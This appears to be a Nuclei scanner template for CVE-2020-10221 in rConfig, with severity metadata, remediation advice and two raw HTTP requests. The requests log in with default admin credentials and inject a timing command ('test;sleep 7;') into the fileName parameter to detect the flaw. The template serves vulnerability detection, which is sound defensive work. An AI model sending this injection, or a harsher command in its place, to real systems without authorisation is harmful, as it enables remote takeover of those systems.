lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the injection; override the username / userpassword fields for environments with changed credentials.
id: CVE-2020-10221
info:
name: rConfig <= 3.9.4 - Authenticated OS Command Injection
author: Securin
severity: high
description: |
lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the injection; override the username / userpassword fields for environments with changed credentials.
impact: |
Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.
remediation: |
Upgrade rConfig beyond 3.9.4 once a fixed release is available, or restrict access to /lib/ajaxHandlers/ and change default credentials.
reference:
- https://github.com/advisories/GHSA-hxjm-95v4-6qjj
- https://www.exploit-db.com/exploits/48207
- https://nvd.nist.gov/vuln/detail/CVE-2020-10221
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-10221
cwe-id: CWE-78
epss-score: 0.77276
epss-percentile: 0.99562
cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: rconfig
product: rconfig
shodan-query: body:"/html/rconfig"
fofa-query: body="/html/rconfig"
tags: cve,cve2020,rconfig,rce,authenticated,intrusive,kev,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(tolower(body), "rconfig")'
- 'status_code==200'
condition: and
internal: true
- raw:
- |
POST /lib/crud/userprocess.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&userpassword={{password}}
- |
@timeout: 30s
POST /lib/ajaxHandlers/ajaxAddTemplate.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
fileName=test%3Bsleep%207%3B
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration_2>=7'
- type: status
status:
- 200
# digest: 4a0a0047304502204689df21bb457b65b3d28a4360c4407998a91e7c2f08b9ee6e339d26f458c01a022100f466b43e256a4f631ea4e2412b29b422f2abefa9383467b425a40a1703f150ee:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.